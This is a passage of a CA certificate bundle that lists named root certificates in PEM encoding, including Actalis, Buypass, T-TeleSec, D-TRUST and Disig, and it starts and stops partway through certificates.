3N6sQWRstBmbAmNtJGSPRLIl6s5ddAxjMlyNh+UCAwEAAaOBiTCBhjAPBgNVHRMBAf8EBTADAQH/ MAsGA1UdDwQEAwIBBjAdBgNVHQ4EFgQUppFC/RNhSiOeCKQp5dgTBCPuQSUwRwYDVR0eBEAwPqA8 MAWCAy5ncjAFggMuZXUwBoIELmVkdTAGggQub3JnMAWBAy5ncjAFgQMuZXUwBoEELmVkdTAGgQQu b3JnMA0GCSqGSIb3DQEBBQUAA4IBAQAf73lB4XtuP7KMhjdCSk4cNx6NZrokgclPEg8hwAOXhiVt XdMiKahsog2p6z0GW5k6x8zDmjR/qw7IThzh+uTczQ2+vyT+bOdrwg3IBp5OjWEopmr95fZi6hg8 TqBTnbI6nOulnJEWtk2C4AwFSKls9cz4y51JtPACpf1wA+2KIaWuE4ZJwzNzvoc7dIsXRSZMFpGD /md9zU1jZ/rzAxKWeAaNsWftjj++n08C9bMJL/NMh98qy5V8AcysNnq/onN694/BtZqhFLKPM58N 7yLcZnuEvUUXBj08yrl3NI/K6s8/MT7jiOOASSXIl7WdmplNsDz4SgCbZN2fOUvRJ9e4 -----END CERTIFICATE----- Actalis Authentication Root CA ============================== -----BEGIN CERTIFICATE----- MIIFuzCCA6OgAwIBAgIIVwoRl0LE48wwDQYJKoZIhvcNAQELBQAwazELMAkGA1UEBhMCSVQxDjAM BgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UE AwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290IENBMB4XDTExMDkyMjExMjIwMloXDTMwMDky MjExMjIwMlowazELMAkGA1UEBhMCSVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlz IFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290 IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAp8bEpSmkLO/lGMWwUKNvUTufClrJ wkg4CsIcoBh/kbWHuUA/3R1oHwiD1S0eiKD4j1aPbZkCkpAW1V8IbInX4ay8IMKx4INRimlNAJZa by/ARH6jDuSRzVju3PvHHkVH3Se5CAGfpiEd9UEtL0z9KK3giq0itFZljoZUj5NDKd45RnijMCO6 zfB9E1fAXdKDa0hMxKufgFpbOr3JpyI/gCczWw63igxdBzcIy2zSekciRDXFzMwujt0q7bd9Zg1f YVEiVRvjRuPjPdA1YprbrxTIW6HMiRvhMCb8oJsfgadHHwTrozmSBp+Z07/T6k9QnBn+locePGX2 oxgkg4YQ51Q+qDp2JE+BIcXjDwL4k5RHILv+1A7TaLndxHqEguNTVHnd25zS8gebLra8Pu2Fbe8l EfKXGkJh90qX6IuxEAf6ZYGyojnP9zz/GPvG8VqLWeICrHuS0E4UT1lF9gxeKF+w6D9Fz8+vm2/7 hNN3WpVvrJSEnu68wEqPSpP4RCHiMUVhUE4Q2OM1fEwZtN4Fv6MGn8i1zeQf1xcGDXqVdFUNaBr8 EBtiZJ1t4JWgw5QHVw0U5r0F+7if5t+L4sbnfpb2U8WANFAoWPASUHEXMLrmeGO89LKtmyuy/uE5 jF66CyCU3nuDuP/jVo23Eek7jPKxwV2dpAtMK9myGPW1n0sCAwEAAaNjMGEwHQYDVR0OBBYEFFLY iDrIn3hm7YnzezhwlMkCAjbQMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiIOsifeGbt ifN7OHCUyQICNtAwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBCwUAA4ICAQALe3KHwGCmSUyI WOYdiPcUZEim2FgKDk8TNd81HdTtBjHIgT5q1d07GjLukD0R0i70jsNjLiNmsGe+b7bAEzlgqqI0 JZN1Ut6nna0Oh4lScWoWPBkdg/iaKWW+9D+a2fDzWochcYBNy+A4mz+7+uAwTc+G02UQGRjRlwKx K3JCaKygvU5a2hi/a5iB0P2avl4VSM0RFbnAKVy06Ij3Pjaut2L9HmLecHgQHEhb2rykOLpn7VU+ Xlff1ANATIGk0k9jpwlCCRT8AKnCgHNPLsBA2RF7SOp6AsDT6ygBJlh0wcBzIm2Tlf05fbsq4/aC 4yyXX04fkZT6/iyj2HYauE2yOE+b+h1IYHkm4vP9qdCa6HCPSXrW5b0KDtst842/6+OkfcvHlXHo 2qN8xcL4dJIEG4aspCJTQLas/kx2z/uUMsA1n3Y/buWQbqCmJqK4LL7RK4X9p2jIugErsWx0Hbhz lefut8cl8ABMALJ+tguLHPPAUJ4lueAI3jZm/zel0btUZCzJJ7VLkn5l/9Mt4blOvH+kQSGQQXem OR/qnuOf0GZvBeyqdn6/axag67XH/JJULysRJyU3eExRarDzzFhdFPFqSBX/wge2sY0PjlxQRrM9 vwGYT7JZVEc+NHt4bVaTLnPqZih4zR0Uv6CPLy64Lo7yFIrM6bV8+2ydDKXhlg== -----END CERTIFICATE----- Trustis FPS Root CA =================== -----BEGIN CERTIFICATE----- MIIDZzCCAk+gAwIBAgIQGx+ttiD5JNM2a/fH8YygWTANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQG EwJHQjEYMBYGA1UEChMPVHJ1c3RpcyBMaW1pdGVkMRwwGgYDVQQLExNUcnVzdGlzIEZQUyBSb290 IENBMB4XDTAzMTIyMzEyMTQwNloXDTI0MDEyMTExMzY1NFowRTELMAkGA1UEBhMCR0IxGDAWBgNV BAoTD1RydXN0aXMgTGltaXRlZDEcMBoGA1UECxMTVHJ1c3RpcyBGUFMgUm9vdCBDQTCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBAMVQe547NdDfxIzNjpvto8A2mfRC6qc+gIMPpqdZh8mQ RUN+AOqGeSoDvT03mYlmt+WKVoaTnGhLaASMk5MCPjDSNzoiYYkchU59j9WvezX2fihHiTHcDnlk H5nSW7r+f2C/revnPDgpai/lkQtV/+xvWNUtyd5MZnGPDNcE2gfmHhjjvSkCqPoc4Vu5g6hBSLwa cY3nYuUtsuvffM/bq1rKMfFMIvMFE/eC+XN5DL7XSxzA0RU8k0Fk0ea+IxciAIleH2ulrG6nS4zt o3Lmr2NNL4XSFDWaLk6M6jKYKIahkQlBOrTh4/L68MkKokHdqeMDx4gVOxzUGpTXn2RZEm0CAwEA AaNTMFEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBS6+nEleYtXQSUhhgtx67JkDoshZzAd BgNVHQ4EFgQUuvpxJXmLV0ElIYYLceuyZA6LIWcwDQYJKoZIhvcNAQEFBQADggEBAH5Y//01GX2c GE+esCu8jowU/yyg2kdbw++BLa8F6nRIW/M+TgfHbcWzk88iNVy2P3UnXwmWzaD+vkAMXBJV+JOC yinpXj9WV4s4NvdFGkwozZ5BuO1WTISkQMi4sKUraXAEasP41BIy+Q7DsdwyhEQsb8tGD+pmQQ9P 8Vilpg0ND2HepZ5dfWWhPBfnqFVO76DH7cZEf1T1o+CP8HxVIo8ptoGj4W1OLBuAZ+ytIJ8MYmHV l/9D7S3B2l0pKoU/rGXuhg8FjZBf3+6f9L/uHfuY5H+QK4R4EA5sSVPvFVtlRkpdr7r7OnIdzfYl iB6XzCGcKQENZetX2fNXlrtIzYE= -----END CERTIFICATE----- Buypass Class 2 Root CA ======================= -----BEGIN CERTIFICATE----- MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMiBSb290IENBMB4X DTEwMTAyNjA4MzgwM1oXDTQwMTAyNjA4MzgwM1owTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1 eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDIgUm9vdCBDQTCCAiIw DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANfHXvfBB9R3+0Mh9PT1aeTuMgHbo4Yf5FkNuud1 g1Lr6hxhFUi7HQfKjK6w3Jad6sNgkoaCKHOcVgb/S2TwDCo3SbXlzwx87vFKu3MwZfPVL4O2fuPn 9Z6rYPnT8Z2SdIrkHJasW4DptfQxh6NR/Md+oW+OU3fUl8FVM5I+GC911K2GScuVr1QGbNgGE41b /+EmGVnAJLqBcXmQRFBoJJRfuLMR8SlBYaNByyM21cHxMlAQTn/0hpPshNOOvEu/XAFOBz3cFIqU CqTqc/sLUegTBxj6DvEr0VQVfTzh97QZQmdiXnfgolXsttlpF9U6r0TtSsWe5HonfOV116rLJeff awrbD02TTqigzXsu8lkBarcNuAeBfos4GzjmCleZPe4h6KP1DBbdi+w0jpwqHAAVF41og9JwnxgI zRFo1clrUs3ERo/ctfPYV3Me6ZQ5BL/T3jjetFPsaRyifsSP5BtwrfKi+fv3FmRmaZ9JUaLiFRhn Bkp/1Wy1TbMz4GHrXb7pmA8y1x1LPC5aAVKRCfLf6o3YBkBjqhHk/sM3nhRSP/TizPJhk9H9Z2vX Uq6/aKtAQ6BXNVN48FP4YUIHZMbXb5tMOA1jrGKvNouicwoN9SG9dKpN6nIDSdvHXx1iY8f93ZHs M+71bbRuMGjeyNYmsHVee7QHIJihdjK4TWxPAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD VR0OBBYEFMmAd+BikoL1RpzzuvdMw964o605MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF AAOCAgEAU18h9bqwOlI5LJKwbADJ784g7wbylp7ppHR/ehb8t/W2+xUbP6umwHJdELFx7rxP462s A20ucS6vxOOto70MEae0/0qyexAQH6dXQbLArvQsWdZHEIjzIVEpMMpghq9Gqx3tOluwlN5E40EI osHsHdb9T7bWR9AUC8rmyrV7d35BH16Dx7aMOZawP5aBQW9gkOLo+fsicdl9sz1Gv7SEr5AcD48S aq/v7h56rgJKihcrdv6sVIkkLE8/trKnToyokZf7KcZ7XC25y2a2t6hbElGFtQl+Ynhw/qlqYLYd DnkM/crqJIByw5c/8nerQyIKx+u2DISCLIBrQYoIwOula9+ZEsuK1V6ADJHgJgg2SMX6OBE1/yWD LfJ6v9r9jv6ly0UsH8SIU653DtmadsWOLB2jutXsMq7Aqqz30XpN69QH4kj3Io6wpJ9qzo6ysmD0 oyLQI+uUWnpp3Q+/QFesa1lQ2aOZ4W7+jQF5JyMV3pKdewlNWudLSDBaGOYKbeaP4NK75t98biGC wWg5TbSYWGZizEqQXsP6JwSxeRV0mcy+rSDeJmAc61ZRpqPq5KM/p/9h3PFaTWwyI0PurKju7koS CTxdccK+efrCh2gdC/1cacwG0Jp9VJkqyTkaGa9LKkPzY11aWOIv4x3kqdbQCtCev9eBCfHJxyYN rJgWVqA= -----END CERTIFICATE----- Buypass Class 3 Root CA ======================= -----BEGIN CERTIFICATE----- MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMyBSb290IENBMB4X DTEwMTAyNjA4Mjg1OFoXDTQwMTAyNjA4Mjg1OFowTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1 eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDMgUm9vdCBDQTCCAiIw DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKXaCpUWUOOV8l6ddjEGMnqb8RB2uACatVI2zSRH sJ8YZLya9vrVediQYkwiL944PdbgqOkcLNt4EemOaFEVcsfzM4fkoF0LXOBXByow9c3EN3coTRiR 5r/VUv1xLXA+58bEiuPwKAv0dpihi4dVsjoT/Lc+JzeOIuOoTyrvYLs9tznDDgFHmV0ST9tD+leh 7fmdvhFHJlsTmKtdFoqwNxxXnUX/iJY2v7vKB3tvh2PX0DJq1l1sDPGzbjniazEuOQAnFN44wOwZ ZoYS6J1yFhNkUsepNxz9gjDthBgd9K5c/3ATAOux9TN6S9ZV+AWNS2mw9bMoNlwUxFFzTWsL8TQH 2xc519woe2v1n/MuwU8XKhDzzMro6/1rqy6any2CbgTUUgGTLT2G/H783+9CHaZr77kgxve9oKeV /afmiSTYzIw0bOIjL9kSGiG5VZFvC5F5GQytQIgLcOJ60g7YaEi7ghM5EFjp2CoHxhLbWNvSO1UQ RwUVZ2J+GGOmRj8JDlQyXr8NYnon74Do29lLBlo3WiXQCBJ31G8JUJc9yB3D34xFMFbG02SrZvPA Xpacw8Tvw3xrizp5f7NJzz3iiZ+gMEuFuZyUJHmPfWupRWgPK9Dx2hzLabjKSWJtyNBjYt1gD1iq j6G8BaVmos8bdrKEZLFMOVLAMLrwjEsCsLa3AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD VR0OBBYEFEe4zf/lb+74suwvTg75JbCOPGvDMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF AAOCAgEAACAjQTUEkMJAYmDv4jVM1z+s4jSQuKFvdvoWFqRINyzpkMLyPPgKn9iB5btb2iUspKdV cSQy9sgL8rxq+JOssgfCX5/bzMiKqr5qb+FJEMwx14C7u8jYog5kV+qi9cKpMRXSIGrs/CIBKM+G uIAeqcwRpTzyFrNHnfzSgCHEy9BHcEGhyoMZCCxt8l13nIoUE9Q2HJLw5QY33KbmkJs4j1xrG0aG Q0JfPgEHU1RdZX33inOhmlRaHylDFCfChQ+1iHsaO5S3HWCntZznKWlXWpuTekMwGwPXYshApqr8 ZORK15FTAaggiG6cX0S5y2CBNOxv033aSF/rtJC8LakcC6wc1aJoIIAE1vyxjy+7SjENSoYc6+I2 KSb12tjE8nVhz36udmNKekBlk4f4HoCMhuWG1o8O/FMsYOgWYRqiPkN7zTlgVGr18okmAWiDSKIz 6MkEkbIRNBE+6tBDGR8Dk5AM/1E9V/RBbuHLoL7ryWPNbczk+DaqaJ3tvV2XcEQNtg413OEMXbug UZTLfhbrES+jkkXITHHZvMmZUldGL1DPvTVp9D0VzgalLA8+9oG6lLvDu79leNKGef9JOxqDDPDe eOzI8k1MGt6CKfjBWtrt7uYnXuhF0J0cUahoq0Tj0Itq4/g7u9xN12TyUb7mqqta6THuBrxzvxNi Cp/HuZc= -----END CERTIFICATE----- T-TeleSec GlobalRoot Class 3 ============================ -----BEGIN CERTIFICATE----- MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwHhcNMDgx MDAxMTAyOTU2WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQC9dZPwYiJvJK7genasfb3ZJNW4t/zN8ELg63iIVl6bmlQdTQyK 9tPPcPRStdiTBONGhnFBSivwKixVA9ZIw+A5OO3yXDw/RLyTPWGrTs0NvvAgJ1gORH8EGoel15YU NpDQSXuhdfsaa3Ox+M6pCSzyU9XDFES4hqX2iys52qMzVNn6chr3IhUciJFrf2blw2qAsCTz34ZF iP0Zf3WHHx+xGwpzJFu5ZeAsVMhg02YXP+HMVDNzkQI6pn97djmiH5a2OK61yJN0HZ65tOVgnS9W 0eDrXltMEnAMbEQgqxHY9Bn20pxSN+f6tsIxO0rUFJmtxxr1XV/6B7h8DR/Wgx6zAgMBAAGjQjBA MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS1A/d2O2GCahKqGFPr AyGUv/7OyjANBgkqhkiG9w0BAQsFAAOCAQEAVj3vlNW92nOyWL6ukK2YJ5f+AbGwUgC4TeQbIXQb fsDuXmkqJa9c1h3a0nnJ85cp4IaH3gRZD/FZ1GSFS5mvJQQeyUapl96Cshtwn5z2r3Ex3XsFpSzT ucpH9sry9uetuUg/vBa3wW306gmv7PO15wWeph6KU1HWk4HMdJP2udqmJQV0eVp+QD6CSyYRMG7h P0HHRwA11fXT91Q+gT3aSWqas+8QPebrb9HIIkfLzM8BMZLZGOMivgkeGj5asuRrDFR6fUNOuIml e9eiPZaGzPImNC1qkp2aGtAw4l1OBLBfiyB+d8E9lYLRRpo7PHi4b6HQDWSieB4pTpPDpFQUWw== -----END CERTIFICATE----- EE Certification Centre Root CA =============================== -----BEGIN CERTIFICATE----- MIIEAzCCAuugAwIBAgIQVID5oHPtPwBMyonY43HmSjANBgkqhkiG9w0BAQUFADB1MQswCQYDVQQG EwJFRTEiMCAGA1UECgwZQVMgU2VydGlmaXRzZWVyaW1pc2tlc2t1czEoMCYGA1UEAwwfRUUgQ2Vy dGlmaWNhdGlvbiBDZW50cmUgUm9vdCBDQTEYMBYGCSqGSIb3DQEJARYJcGtpQHNrLmVlMCIYDzIw MTAxMDMwMTAxMDMwWhgPMjAzMDEyMTcyMzU5NTlaMHUxCzAJBgNVBAYTAkVFMSIwIAYDVQQKDBlB UyBTZXJ0aWZpdHNlZXJpbWlza2Vza3VzMSgwJgYDVQQDDB9FRSBDZXJ0aWZpY2F0aW9uIENlbnRy ZSBSb290IENBMRgwFgYJKoZIhvcNAQkBFglwa2lAc2suZWUwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDIIMDs4MVLqwd4lfNE7vsLDP90jmG7sWLqI9iroWUyeuuOF0+W2Ap7kaJjbMeM TC55v6kF/GlclY1i+blw7cNRfdCT5mzrMEvhvH2/UpvObntl8jixwKIy72KyaOBhU8E2lf/slLo2 rpwcpzIP5Xy0xm90/XsY6KxX7QYgSzIwWFv9zajmofxwvI6Sc9uXp3whrj3B9UiHbCe9nyV0gVWw 93X2PaRka9ZP585ArQ/dMtO8ihJTmMmJ+xAdTX7Nfh9WDSFwhfYggx/2uh8Ej+p3iDXE/+pOoYtN P2MbRMNE1CV2yreN1x5KZmTNXMWcg+HCCIia7E6j8T4cLNlsHaFLAgMBAAGjgYowgYcwDwYDVR0T AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBLyWj7qVhy/zQas8fElyalL1BSZ MEUGA1UdJQQ+MDwGCCsGAQUFBwMCBggrBgEFBQcDAQYIKwYBBQUHAwMGCCsGAQUFBwMEBggrBgEF BQcDCAYIKwYBBQUHAwkwDQYJKoZIhvcNAQEFBQADggEBAHv25MANqhlHt01Xo/6tu7Fq1Q+e2+Rj xY6hUFaTlrg4wCQiZrxTFGGVv9DHKpY5P30osxBAIWrEr7BSdxjhlthWXePdNl4dp1BUoMUq5KqM lIpPnTX/dqQGE5Gion0ARD9V04I8GtVbvFZMIi5GQ4okQC3zErg7cBqklrkar4dBGmoYDQZPxz5u uSlNDUmJEYcyW+ZLBMjkXOZ0c5RdFpgTlf7727FE5TpwrDdr5rMzcijJs1eg9gIWiAYLtqZLICjU 3j2LrTcFU3T+bsy8QxdxXvnFzBqpYe73dgzzcvRyrc9yAjYHR8/vGVCJYMzpJJUPwssd8m92kMfM dcGWxZ0= -----END CERTIFICATE----- D-TRUST Root Class 3 CA 2 2009 ============================== -----BEGIN CERTIFICATE----- MIIEMzCCAxugAwIBAgIDCYPzMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQK DAxELVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTAe Fw0wOTExMDUwODM1NThaFw0yOTExMDUwODM1NThaME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxE LVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANOySs96R+91myP6Oi/WUEWJNTrGa9v+2wBoqOAD ER03UAifTUpolDWzU9GUY6cgVq/eUXjsKj3zSEhQPgrfRlWLJ23DEE0NkVJD2IfgXU42tSHKXzlA BF9bfsyjxiupQB7ZNoTWSPOSHjRGICTBpFGOShrvUD9pXRl/RcPHAY9RySPocq60vFYJfxLLHLGv KZAKyVXMD9O0Gu1HNVpK7ZxzBCHQqr0ME7UAyiZsxGsMlFqVlNpQmvH/pStmMaTJOKDfHR+4CS7z p+hnUquVH+BGPtikw8paxTGA6Eian5Rp/hnd2HN8gcqW3o7tszIFZYQ05ub9VxC1X3a/L7AQDcUC AwEAAaOCARowggEWMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFP3aFMSfMN4hvR5COfyrYyNJ 4PGEMA4GA1UdDwEB/wQEAwIBBjCB0wYDVR0fBIHLMIHIMIGAoH6gfIZ6bGRhcDovL2RpcmVjdG9y eS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwUm9vdCUyMENsYXNzJTIwMyUyMENBJTIwMiUyMDIw MDksTz1ELVRydXN0JTIwR21iSCxDPURFP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3QwQ6BBoD+G PWh0dHA6Ly93d3cuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3Rfcm9vdF9jbGFzc18zX2NhXzJfMjAw OS5jcmwwDQYJKoZIhvcNAQELBQADggEBAH+X2zDI36ScfSF6gHDOFBJpiBSVYEQBrLLpME+bUMJm 2H6NMLVwMeniacfzcNsgFYbQDfC+rAF1hM5+n02/t2A7nPPKHeJeaNijnZflQGDSNiH+0LS4F9p0 o3/U37CYAqxva2ssJSRyoWXuJVrl5jLn8t+rSfrzkGkj2wTZ51xY/GXUl77M/C4KzCUqNQT4YJEV dT1B/yMfGchs64JTBKbkTCJNjYy6zltz7GRUUG3RnFX7acM2w4y8PIWmawomDeCTmGCufsYkl4ph X5GOZpIJhzbNi5stPvZR1FDUWSi9g/LMKHtThm3YJohw1+qRzT65ysCQblrGXnRl11z+o+I= -----END CERTIFICATE----- D-TRUST Root Class 3 CA 2 EV 2009 ================================= -----BEGIN CERTIFICATE----- MIIEQzCCAyugAwIBAgIDCYP0MA0GCSqGSIb3DQEBCwUAMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw OTAeFw0wOTExMDUwODUwNDZaFw0yOTExMDUwODUwNDZaMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw OTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJnxhDRwui+3MKCOvXwEz75ivJn9gpfS egpnljgJ9hBOlSJzmY3aFS3nBfwZcyK3jpgAvDw9rKFs+9Z5JUut8Mxk2og+KbgPCdM03TP1YtHh zRnp7hhPTFiu4h7WDFsVWtg6uMQYZB7jM7K1iXdODL/ZlGsTl28So/6ZqQTMFexgaDbtCHu39b+T 7WYxg4zGcTSHThfqr4uRjRxWQa4iN1438h3Z0S0NL2lRp75mpoo6Kr3HGrHhFPC+Oh25z1uxav60 sUYgovseO3Dvk5h9jHOW8sXvhXCtKSb8HgQ+HKDYD8tSg2J87otTlZCpV6LqYQXY+U3EJ/pure35 11H3a6UCAwEAAaOCASQwggEgMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNOUikxiEyoZLsyv cop9NteaHNxnMA4GA1UdDwEB/wQEAwIBBjCB3QYDVR0fBIHVMIHSMIGHoIGEoIGBhn9sZGFwOi8v ZGlyZWN0b3J5LmQtdHJ1c3QubmV0L0NOPUQtVFJVU1QlMjBSb290JTIwQ2xhc3MlMjAzJTIwQ0El MjAyJTIwRVYlMjAyMDA5LE89RC1UcnVzdCUyMEdtYkgsQz1ERT9jZXJ0aWZpY2F0ZXJldm9jYXRp b25saXN0MEagRKBChkBodHRwOi8vd3d3LmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X3Jvb3RfY2xh c3NfM19jYV8yX2V2XzIwMDkuY3JsMA0GCSqGSIb3DQEBCwUAA4IBAQA07XtaPKSUiO8aEXUHL7P+ PPoeUSbrh/Yp3uDx1MYkCenBz1UbtDDZzhr+BlGmFaQt77JLvyAoJUnRpjZ3NOhk31KxEcdzes05 nsKtjHEh8lprr988TlWvsoRlFIm5d8sqMb7Po23Pb0iUMkZv53GMoKaEGTcH8gNFCSuGdXzfX2lX ANtu2KZyIktQ1HWYVt+3GP9DQ1CuekR78HlR10M9p9OB0/DJT7naxpeG0ILD5EJt/rDiZE4OJudA NCa1CInXCGNjOCd1HjPqbqjdn5lPdE2BiYBL3ZqXKVwvvoFBuYz/6n1gBp7N1z3TLqMVvKjmJuVv w9y4AyHqnxbxLFS1 -----END CERTIFICATE----- CA Disig Root R2 ================ -----BEGIN CERTIFICATE----- MIIFaTCCA1GgAwIBAgIJAJK4iNuwisFjMA0GCSqGSIb3DQEBCwUAMFIxCzAJBgNVBAYTAlNLMRMw EQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMuMRkwFwYDVQQDExBDQSBEaXNp ZyBSb290IFIyMB4XDTEyMDcxOTA5MTUzMFoXDTQyMDcxOTA5MTUzMFowUjELMAkGA1UEBhMCU0sx EzARBgNVBAcTCkJyYXRpc2xhdmExEzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERp c2lnIFJvb3QgUjIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCio8QACdaFXS1tFPbC w3OeNcJxVX6B+6tGUODBfEl45qt5WDza/3wcn9iXAng+a0EE6UG9vgMsRfYvZNSrXaNHPWSb6Wia xswbP7q+sos0Ai6YVRn8jG+qX9pMzk0DIaPY0jSTVpbLTAwAFjxfGs3Ix2ymrdMxp7zo5eFm1tL7 A7RBZckQrg4FY8aAamkw/dLukO8NJ9+flXP04SXabBbeQTg06ov80egEFGEtQX6sx3dOy1FU+16S GBsEWmjGycT6txOgmLcRK7fWV8x8nhfRyyX+hk4kLlYMeE2eARKmK6cBZW58Yh2EhN/qwGu1pSqV g8NTEQxzHQuyRpDRQjrOQG6Vrf/GlK1ul4SOfW+eioANSW1z4nuSHsPzwfPrLgVv2RvPN3YEyLRa 5Beny912H9AZdugsBbPWnDTYltxhh5EF5EQIM8HauQhl1K6yNg3ruji6DOWbnuuNZt2Zz9aJQfYE koopKW1rOhzndX0CcQ7zwOe9yxndnWCywmZgtrEE7snmhrmaZkCo5xHtgUUDi/ZnWejBBhG93c+A Ak9lQHhcR1DIm+YfgXvkRKhbhZri3lrVx/k6RGZL5DJUfORsnLMOPReisjQS1n6yqEm70XooQL6i Fh/f5DcfEXP7kAplQ6INfPgGAVUzfbANuPT1rqVCV3w2EYx7XsQDnYx5nQIDAQABo0IwQDAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUtZn4r7CU9eMg1gqtzk5WpC5u Qu0wDQYJKoZIhvcNAQELBQADggIBACYGXnDnZTPIgm7ZnBc6G3pmsgH2eDtpXi/q/075KMOYKmFM tCQSin1tERT3nLXK5ryeJ45MGcipvXrA1zYObYVybqjGom32+nNjf7xueQgcnYqfGopTpti72TVV sRHFqQOzVju5hJMiXn7B9hJSi+osZ7z+Nkz1uM/Rs0mSO9MpDpkblvdhuDvEK7Z4bLQjb/D907Je dR+Zlais9trhxTF7+9FGs9K8Z7RiVLoJ92Owk6Ka+elSLotgEqv89WBW7xBci8QaQtyDW2QOy7W8 1k/BfDxujRNt+3vrMNDcTa/F1balTFtxyegxvug4BkihGuLq0t4SOVga/4AOgnXmt8kHbA7v/zjx mHHEt38OFdAlab0inSvtBfZGR6ztwPDUO+Ls7pZbkBNOHlY667DvlruWIxG68kOGdGSVyCh13x01 utI3gzhTODY7z2zp+WsO0PsE6E9312UBeIYMej4hYvF/Y3EMyZ9E26gnonW+boE+18DrG5gPcFw0 sorMwIUY6256s/daoQe/qUKS82Ail+QUoQebTnbAjn39pCXHR+3/H3OszMOl6W8KjptlwlCFtaOg UxLMVYdh84GuEEZhvUQhuMI9dM9+JDX6HAcOmz0iyu8xL4ysEr3vQCj8KWefshNPZiTEUxnpHikV 7+ZtsH8tZ/3zbBt1RqPlShfppNcL -----END CERTIFICATE----- ACCVRAIZ1 ========= -----BEGIN CERTIFICATE----- MIIH0zCCBbugAwIBAgIIXsO3pkN/pOAwDQYJKoZIhvcNAQEFBQAwQjESMBAGA1UEAwwJQUNDVlJB SVoxMRAwDgYDVQQLDAdQS0lBQ0NWMQ0wCwYDVQQKDARBQ0NWMQswCQYDVQQGEwJFUzAeFw0xMTA1 MDUwOTM3MzdaFw0zMDEyMzEwOTM3MzdaMEIxEjAQBgNVBAMMCUFDQ1ZSQUlaMTEQMA4GA1UECwwH UEtJQUNDVjENMAsGA1UECgwEQUNDVjELMAkGA1UEBhMCRVMwggIiMA0GCSqGSIb3DQEBAQUAA4IC 